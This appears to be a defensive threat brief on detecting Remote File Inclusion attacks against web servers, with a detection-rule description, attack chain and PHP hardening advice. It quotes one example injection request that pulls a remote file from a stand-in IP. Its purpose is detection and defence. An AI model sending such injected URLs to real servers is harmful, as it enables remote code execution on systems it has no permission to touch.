Web Server Remote File Inclusion Discovery Activity

This threat brief focuses on identifying Remote File Inclusion (RFI) attacks targeting web servers such as Nginx, Apache, Apache Tomcat, IIS, and Traefik. RFI attacks occur when an attacker injects a remote URL into a web application's input fields, causing the application to include and execute code or files from a malicious external source. This can allow attackers to read sensitive files, execute arbitrary code, or further compromise the web server. Detection is based on analyzing HTTP GET requests with a status code of 200 where the URL contains a parameter including a remote URL or IP address. This behavior is indicative of an attacker attempting to leverage an RFI vulnerability. The Elastic detection rule was last updated on March 19, 2026, and is designed to work with Elastic Stack version 9.2.0 and later due to its reliance on the esql url_decode() operator.

Attack Chain

1. Reconnaissance: The attacker identifies a web application potentially vulnerable to RFI.
2. Crafted Request: The attacker crafts a malicious HTTP GET request targeting a specific parameter (e.g., page, url, src) in the URL.
3. URL Injection: The crafted GET request includes a malicious remote URL or IP address within the targeted parameter. For example, /index.php?page=http://203.0.113.10/drop.txt.
4. Server Request: The web server receives the malicious GET request and attempts to process the injected URL.
5. Remote File Inclusion: Due to the RFI vulnerability, the web server fetches and includes the remote file or executes the code from the injected URL.
6. Code Execution/Data Leakage: If the included file contains malicious code (e.g., PHP), it gets executed on the server, potentially leading to arbitrary code execution. Alternatively, the attacker can leak sensitive information by including local files.
7. Persistence/Lateral Movement (Optional): The attacker may attempt to establish persistence by writing a webshell to the webroot or move laterally to other systems within the network.
8. Compromise: The attacker achieves the final objective, which may include data theft, system compromise, or denial-of-service.

Impact

A successful RFI attack can have severe consequences, including unauthorized access to sensitive data, complete compromise of the web server, and potential lateral movement to other systems within the network. Depending on the application's function, this could lead to the exposure of customer data, financial information, or intellectual property. The targeted sectors are diverse, ranging from e-commerce and finance to government and healthcare, as any web application with an RFI vulnerability is susceptible.

Recommendation

• Deploy the Sigma rule "Web Server Potential Remote File Inclusion Attempt" to your SIEM to detect suspicious GET requests containing remote URLs in the query parameters.
• Block the IOC http://203.0.113.10/drop.txt at your web application firewall or intrusion prevention system to prevent access to the known malicious resource.
• Enable detailed web server logging (as mentioned in the Overview) and monitor for unusual outbound connections from web servers to suspicious or unknown IPs or domains to identify potential RFI exploitation.
• Configure PHP settings such as allow_url_include and allow_url_fopen to Off and implement open_basedir restrictions (as mentioned in the Overview) to mitigate RFI vulnerabilities.
• Implement strict input validation and sanitization (as mentioned in the Overview) to prevent the inclusion of malicious URLs.